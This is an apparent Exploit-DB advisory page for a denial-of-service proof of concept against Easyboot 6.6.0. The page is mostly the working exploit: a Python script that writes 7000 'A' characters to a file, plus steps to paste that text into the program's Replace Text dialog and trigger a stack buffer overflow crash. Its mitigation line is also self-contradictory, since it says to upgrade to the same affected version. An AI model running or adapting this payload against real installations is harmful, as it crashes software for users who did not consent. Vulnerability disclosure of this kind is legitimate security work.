Easyboot 6.6.0 - Denial Of Service (PoC)

vendor:

Easyboot

by:

Gionathan 'John' Reale

7.8

CVSS

HIGH

Denial of Service

119

CWE

Product Name: Easyboot

Affected Version From: 6.6.0

Affected Version To: 6.6.0

Patch Exists: YES

Related CWE: N/A

CPE: a:ezbsystems:easyboot

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Windows 7 32-bit

2018

Easyboot 6.6.0 – Denial Of Service (PoC)

A buffer overflow vulnerability exists in Easyboot 6.6.0, which can be exploited by malicious people to cause a DoS (Denial of Service). The vulnerability is caused due to a boundary error when handling specially crafted files. This can be exploited to cause a stack-based buffer overflow via an overly long file name. Successful exploitation of this vulnerability may allow an attacker to cause a DoS.

Mitigation:

Upgrade to the latest version of Easyboot 6.6.0

Source

Exploit-DB raw data:

# Exploit Title: Easyboot 6.6.0 - Denial Of Service (PoC)
# Author: Gionathan "John" Reale
# Discovey Date: 2018-08-22
# Homepage: http://www.ezbsystems.com/
# Software Link: http://www.ezbsystems.com/easyboot/download.htm
# Tested Version: 6.6.0
# Tested on OS: Windows 7 32-bit
# Steps to Reproduce: Run the python exploit script, it will create a new 
# file with the name "exploit.txt" just copy the text inside "exploit.txt"
# and start the program. In the new window click "File" > "Tools" > "Replace Text...". Now paste the content of 
# "exploit.txt" into all three fields in the new window. Click "Replace" and you will see a crash.

#!/usr/bin/python
   
buffer = "A" * 7000

payload = buffer
try:
    f=open("exploit.txt","w")
    print "[+] Creating %s bytes evil payload.." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created"